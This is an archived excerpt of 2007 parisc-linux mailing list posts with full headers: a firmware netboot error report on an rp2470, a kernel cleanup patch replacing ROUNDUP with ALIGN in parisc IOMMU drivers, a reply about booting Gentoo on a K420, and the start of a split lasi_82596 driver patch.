Original-Received: (qmail invoked by alias); 02 Apr 2007 05:38:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 02 Apr 2007 07:38:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 761E57DA6B;
	Sun,  1 Apr 2007 23:38:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23650-09; Sun, 1 Apr 2007 23:38:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 438ED7DA6D;
	Sun,  1 Apr 2007 23:38:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7B977DA5A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Apr 2007 23:38:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23650-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 Apr 2007 23:38:08 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id DA6AC7D9C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Apr 2007 23:38:07 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 660383F8184
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Apr 2007 23:38:05 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07018-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 1 Apr 2007 23:37:59 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 263BD3F8181; Sun,  1 Apr 2007 23:37:59 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qed5KbM+MydyuIigZWplvrZraGRhZprD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24460

Hi,
gsyprf11.external.hp.com is having problems and the latest manifestation
is this very odd output from the console when trying to netboot the
PF_CHAW4350.frm in order to update firmware:

Main Menu: Enter command or menu > bo lan
Interact with IPL (Y, N, or Cancel)?> n

Booting... 
Network Station Address 00306e-2661a3
System IP Address 192.6.38.61
Server IP Address 192.6.38.60

Boot IO Dependent Code (IODC) revision 2

IPL error: bad LIF magic.

************* SYSTEM ALERT **************
SYSTEM NAME: rp2470c
DATE: 04/02/2007 TIME: 04:21:21
ALERT LEVEL: 6 = Boot possible, pending failure - action required

REASON FOR ALERT
SOURCE: 8 = I/O 
SOURCE DETAIL: 6 = disk   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         ON        ON         ON
LED State: Boot Failed.  Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x00000060860010B0 00000000 00000000 - type  0 = Data Field Unused
0x58000860860010B0 00006B03 02041515 - type 11 = Timestamp 04/02/2007 04:21:21
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:Timeout!
*****************************************

************* SYSTEM ALERT **************
SYSTEM NAME: rp2470c
DATE: 04/02/2007 TIME: 04:21:22
ALERT LEVEL: 6 = Boot possible, pending failure - action required

REASON FOR ALERT
SOURCE: 8 = I/O 
SOURCE DETAIL: 6 = disk   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         ON        ON         ON
LED State: Boot Failed.  Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x00000060860014F0 00000000 00000000 - type  0 = Data Field Unused
0x58000860860014F0 00006B03 02041516 - type 11 = Timestamp 04/02/2007 04:21:22
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:X
*****************************************

CAUTION: System Alerts have been disabled. This will re-enable with 
a re-boot or power-on of the system. To re-enable system alerts now, you
may use the AC (Alert Display Configuration) command.

************* SYSTEM ALERT **************
Alert messages are now disabled. Enter Commands Interface AC command 
to enable them again
*****************************************


------------------------------- cut here --------------------------

The firmware update image should be fine...both copies I have are the same.
I get the same error when trying to boot from disk - and I'm obviously
trying to boot from LAN above, not disk.

So I have to wonder if this is really a RAM HW failure that the powerup
selftests are not catching. Or maybe some other HW failure? Can anyone
make sense of the "SOURCE DETAIL: 6 = disk" when booting from network?


thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Milind Arun Choudhary <milindchoudhary@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [KJ][PATCH] ROUND_?UP macro cleanup in drivers/parisc
Date: Sat, 31 Mar 2007 16:27:46 +0530
Lines: 121
Approved: news@gmane.org
Message-ID: <20070331105746.GA14572__5367.30293320051$1416624332$gmane$org@arun.site>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624332 23550 80.91.229.3 (22 Nov 2014 02:45:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:32 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: kernel-janitors@lists.osdl.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2007 22:16:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 03 Apr 2007 00:16:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 732FF7DA8D;
	Mon,  2 Apr 2007 16:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32454-08; Mon, 2 Apr 2007 16:16:25 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9354F7DA86;
	Mon,  2 Apr 2007 16:16:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2493F7D9E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Mar 2007 04:57:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05897-10 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Mar 2007 04:56:58 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.168])
	by free.linux.hp.com (Postfix) with ESMTP id 25DE77D9D0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Mar 2007 04:56:58 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1186514ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Mar 2007 03:56:56 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=i7nEMRxpLnaJScaPAXb6NoAu8MOD8Xo+Z+E08XjpT9ZN8kj8HSyKOxUMNK+PnfGBLuD8m+6cToeigzf70c4MtPCW3APoQ2bi5GxyTKrDDMfOk2Tlo5YHMh+5ClAG4+uMQC17KTUKL88DUmMnAeI7mmLkYA4kpN60lQIuhq/bEXc=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:date:from:to:cc:subject:message-id:mime-version:content-type:content-disposition:user-agent;
	b=N0ImqVDi48wjIEnYifjXpAblHf1ZYILZ0RsAi+DN1Jc+wqJRLQvHDzsa6BghPbBo3xnwSDHaNzoJOuin5h1d7B22e1tk5/5nmEIQLl9OYLN2a1wEExoP1f8nanSZYBGGumB/UaOs1qWYdy967mzpyqGZPoww/LxH5SPRhGkENUk=
Original-Received: by 10.66.219.11 with SMTP id r11mr2886043ugg.1175338616473;
	Sat, 31 Mar 2007 03:56:56 -0700 (PDT)
Original-Received: from localhost ( [59.95.9.179])
	by mx.google.com with ESMTP id o24sm4375953ugd.2007.03.31.03.56.53;
	Sat, 31 Mar 2007 03:56:55 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Mon, 02 Apr 2007 16:16:20 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0+1zEqMobXBtibqHPTQ2re8qLyUmZYhP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24461

Clean up ROUND_?UP, Use ALIGN where ever appropriate.

Signed-off-by: Milind Arun Choudhary <milindchoudhary@gmail.com>

---
 ccio-dma.c      |    8 ++++----
 iommu-helpers.h |    4 ++--
 sba_iommu.c     |    6 ++----
 3 files changed, 8 insertions(+), 10 deletions(-)



diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 894fdb9..1459ca8 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -32,6 +32,7 @@
 */
 
 #include <linux/types.h>
+#include <linux/kernel.h>
 #include <linux/init.h>
 #include <linux/mm.h>
 #include <linux/spinlock.h>
@@ -292,7 +293,6 @@ static int ioc_count;
 #define PDIR_INDEX(iovp)    ((iovp)>>IOVP_SHIFT)
 #define MKIOVP(pdir_idx)    ((long)(pdir_idx) << IOVP_SHIFT)
 #define MKIOVA(iovp,offset) (dma_addr_t)((long)iovp | (long)offset)
-#define ROUNDUP(x,y) ((x + ((y)-1)) & ~((y)-1))
 
 /*
 ** Don't worry about the 150% average search length on a miss.
@@ -668,7 +668,7 @@ ccio_mark_invalid(struct ioc *ioc, dma_addr_t iova, size_t byte_cnt)
 	size_t saved_byte_cnt;
 
 	/* round up to nearest page size */
-	saved_byte_cnt = byte_cnt = ROUNDUP(byte_cnt, IOVP_SIZE);
+	saved_byte_cnt = byte_cnt = ALIGN(byte_cnt, IOVP_SIZE);
 
 	while(byte_cnt > 0) {
 		/* invalidate one page at a time */
@@ -751,7 +751,7 @@ ccio_map_single(struct device *dev, void *addr, size_t size,
 	offset = ((unsigned long) addr) & ~IOVP_MASK;
 
 	/* round up to nearest IOVP_SIZE */
-	size = ROUNDUP(size + offset, IOVP_SIZE);
+	size = ALIGN(size + offset, IOVP_SIZE);
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
 #ifdef CCIO_MAP_STATS
@@ -814,7 +814,7 @@ ccio_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
 
 	iova ^= offset;        /* clear offset bits */
 	size += offset;
-	size = ROUNDUP(size, IOVP_SIZE);
+	size = ALIGN(size, IOVP_SIZE);
 
 	spin_lock_irqsave(&ioc->res_lock, flags);
 
diff --git a/drivers/parisc/iommu-helpers.h b/drivers/parisc/iommu-helpers.h
index 38d9e1a..0a1f99a 100644
--- a/drivers/parisc/iommu-helpers.h
+++ b/drivers/parisc/iommu-helpers.h
@@ -138,7 +138,7 @@ iommu_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents,
 			** exceed DMA_CHUNK_SIZE if we coalesce the
 			** next entry.
 			*/   
-			if(unlikely(ROUNDUP(dma_len + dma_offset + startsg->length,
+			if(unlikely(ALIGN(dma_len + dma_offset + startsg->length,
 					    IOVP_SIZE) > DMA_CHUNK_SIZE))
 				break;
 
@@ -158,7 +158,7 @@ iommu_coalesce_chunks(struct ioc *ioc, struct scatterlist *startsg, int nents,
 		** Allocate space for DMA stream.
 		*/
 		sg_dma_len(contig_sg) = dma_len;
-		dma_len = ROUNDUP(dma_len + dma_offset, IOVP_SIZE);
+		dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE);
 		sg_dma_address(contig_sg) =
 			PIDE_FLAG 
 			| (iommu_alloc_range(ioc, dma_len) << IOVP_SHIFT)
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 76a29da..7d83d9f 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -113,8 +113,6 @@ module_param(sba_reserve_agpgart, int, 1);
 MODULE_PARM_DESC(sba_reserve_agpgart, "Reserve half of IO pdir as AGPGART");
 #endif
 
-#define ROUNDUP(x,y) ((x + ((y)-1)) & ~((y)-1))
-
 
 /************************************
 ** SBA register read and write support
@@ -352,7 +350,7 @@ sba_search_bitmap(struct ioc *ioc, unsigned long bits_wanted)
 		** SBA HW features in the unmap path.
 		*/
 		unsigned long o = 1 << get_order(bits_wanted << PAGE_SHIFT);
-		uint bitshiftcnt = ROUNDUP(ioc->res_bitshift, o);
+		uint bitshiftcnt = ALIGN(ioc->res_bitshift, o);
 		unsigned long mask;
 
 		if (bitshiftcnt >= BITS_PER_LONG) {
@@ -779,7 +777,7 @@ sba_unmap_single(struct device *dev, dma_addr_t iova, size_t size,
 	offset = iova & ~IOVP_MASK;
 	iova ^= offset;        /* clear offset bits */
 	size += offset;
-	size = ROUNDUP(size, IOVP_SIZE);
+	size = ALIGN(size, IOVP_SIZE);
 
 	spin_lock_irqsave(&ioc->res_lock, flags);
 

-- 
Milind Arun Choudhary
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul (NCC/CS)" <pts@bom.gov.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] almost booted a K420...
Date: Sun, 15 Apr 2007 23:14:50 +1000
Organization: BOM
Lines: 84
Approved: news@gmane.org
Message-ID: <4622254A.6FEDCDDF__18561.7192568772$1416624332$gmane$org@bom.gov.au>
References: <461DA527.8FF91FC1@bom.gov.au> 
	<9df6f3ea0704112341y55866aebk73373b75e90686d1@mail.gmail.com>
	<b74751490704120350s162d6140g95622904d2142bca@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624332 23553 80.91.229.3 (22 Nov 2014 02:45:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ram <talk2ram@gmail.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2007 13:22:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 15 Apr 2007 15:22:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B47667DAC9;
	Sun, 15 Apr 2007 07:22:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25605-07; Sun, 15 Apr 2007 07:22:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7EDCA7DAC4;
	Sun, 15 Apr 2007 07:22:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2782C7DABB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Apr 2007 07:22:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25605-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Apr 2007 07:22:27 -0600 (MDT)
Original-Received: from spirit.phome.bom.gov.au (ccf-dialin-cl243.bom.gov.au
	[134.178.63.243])
	by free.linux.hp.com (Postfix) with ESMTP id ECEF37DABA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Apr 2007 07:22:25 -0600 (MDT)
Original-Received: from bom.gov.au (localhost [127.0.0.1])
	by spirit.phome.bom.gov.au (8.13.3/8.13.3) with ESMTP id l3FDEogr000749;
	Sun, 15 Apr 2007 23:14:51 +1000 (EST)
X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.18 i386)
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eUNKC1wxbHIymK3NNjQ011wqJihyalDk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24462



Hi Guys,

I just read your replies.

But before this I did try GENTOO.

wallah! :))))))))))))

works out of the box. ( cd).

i haven't done the full install yet but i'm very pleased
that it boots a kernel.

PS i even tried gentoo on an IBM/RS6000 that i've never
been able to get debian to boot on also. and it worked too!!!:))).
double christmas:).

so gentoo gets my thumbs up at the present.

it's disappointing that debian never comes up with the stuff
on these machines. But never mind.

thanks,
Paul.









ram wrote:

>
>
>      Hi Paul,
>
>      I'm using a K370 with great success. I'm not sure whether
>      the Debian install CD will work on a multi-CPU box.  You can
>      try unplugging all but the first CPU and see if that makes a
>      difference.  Also, you may have to add "console=ttyB0" or
>      somesuch to PALO's boot line -- the K classes (and perhaps
>      a few other boxes) have very different serial hardware.  Oh
>      wait, I see you have it already.
>
>      Sorry this  is a bit vague; I run Gentoo and it was very simple
>      to boot the install CD.  So if you hit a dead-end, you might
>      give it a try.
>
>  Hi some time back i posted the problem, but  some one responded, but i did not solve the problem
> after i saw the new version released, i want to try, but i see the same problem Kernel Panic- not
> syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping resourcesiam
> using  webconsole and installing any suggestion make my system working with Debian 4.X HP R Class
> 9000, 1GB RAM, Built in CD ROM thanksram

--

____________________________________________

Paul
Australian Bureau Of Meteorology
____________________________________________




"In a world without walls and fences,
who needs windows and gates ?"






_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tsbogend@alpha.franken.de (Thomas Bogendoerfer)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Splitted lasi_82596 driver
Date: Sun, 15 Apr 2007 16:42:09 +0200
Lines: 2899
Approved: news@gmane.org
Message-ID: <20070415144209.GA11196__18217.5945760266$1416624333$gmane$org@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624333 23557 80.91.229.3 (22 Nov 2014 02:45:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2007 16:39:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 15 Apr 2007 18:39:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC4957DAD4;
	Sun, 15 Apr 2007 10:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26849-05; Sun, 15 Apr 2007 10:39:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8CF357DACD;
	Sun, 15 Apr 2007 10:39:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C6D97DA98
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Apr 2007 08:42:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26287-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Apr 2007 08:42:09 -0600 (MDT)
Original-Received: from elvis.franken.de (elvis.franken.de [193.175.24.41])
	by free.linux.hp.com (Postfix) with ESMTP id 789E97D412
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 15 Apr 2007 08:42:08 -0600 (MDT)
Original-Received: from uucp (helo=solo.franken.de)
	by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
	id 1Hd5vb-0005G1-00
	for parisc-linux@lists.parisc-linux.org; Sun, 15 Apr 2007 16:42:07 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
	id 7BA1BC2251; Sun, 15 Apr 2007 16:42:09 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-Mailman-Approved-At: Sun, 15 Apr 2007 10:39:15 -0600
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UiBLdSUeeWU3n62TZm9nZAUrL0tsZs1J
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24463

Hi,

as I needed a 82596 driver for a machine (SNI RM400), I took
lasi_82596.c, cloned it and made it working on that machine. But
I don't think it's a good idea to have another clone of 82596.c in
linux, therefore I splitted my cloned driver and took the lasi parts
to get one major file (lib82596.c) and two hardware specific parts
(lasi_82596.c and sni_82596.c), which just holds the hardware things
of the driver. This "new" driver works now on the RM400, so it's
time to test it on parisc hardware. Unfortunatly my machines with
lasi82596 are stored away, so I'm looking for someone, who is
willing to try the patch below and give me feedback.

Are there any other things, which should be improved in the driver,
before I'm going to submit this driver ?

Thomas.

diff --git a/drivers/net/lasi_82596.c b/drivers/net/lasi_82596.c
index 452863d..95af766 100644
--- a/drivers/net/lasi_82596.c
+++ b/drivers/net/lasi_82596.c
@@ -94,31 +94,6 @@
 
 #define LASI_82596_DRIVER_VERSION "LASI 82596 driver - Revision: 1.30"
 
-/* DEBUG flags
- */
-
-#define DEB_INIT	0x0001
-#define DEB_PROBE	0x0002
-#define DEB_SERIOUS	0x0004
-#define DEB_ERRORS	0x0008
-#define DEB_MULTI	0x0010
-#define DEB_TDR		0x0020
-#define DEB_OPEN	0x0040
-#define DEB_RESET	0x0080
-#define DEB_ADDCMD	0x0100
-#define DEB_STATUS	0x0200
-#define DEB_STARTTX	0x0400
-#define DEB_RXADDR	0x0800
-#define DEB_TXADDR	0x1000
-#define DEB_RXFRAME	0x2000
-#define DEB_INTS	0x4000
-#define DEB_STRUCT	0x8000
-#define DEB_ANY		0xffff
-
-
-#define DEB(x,y)	if (i596_debug & (x)) { y; }
-
-
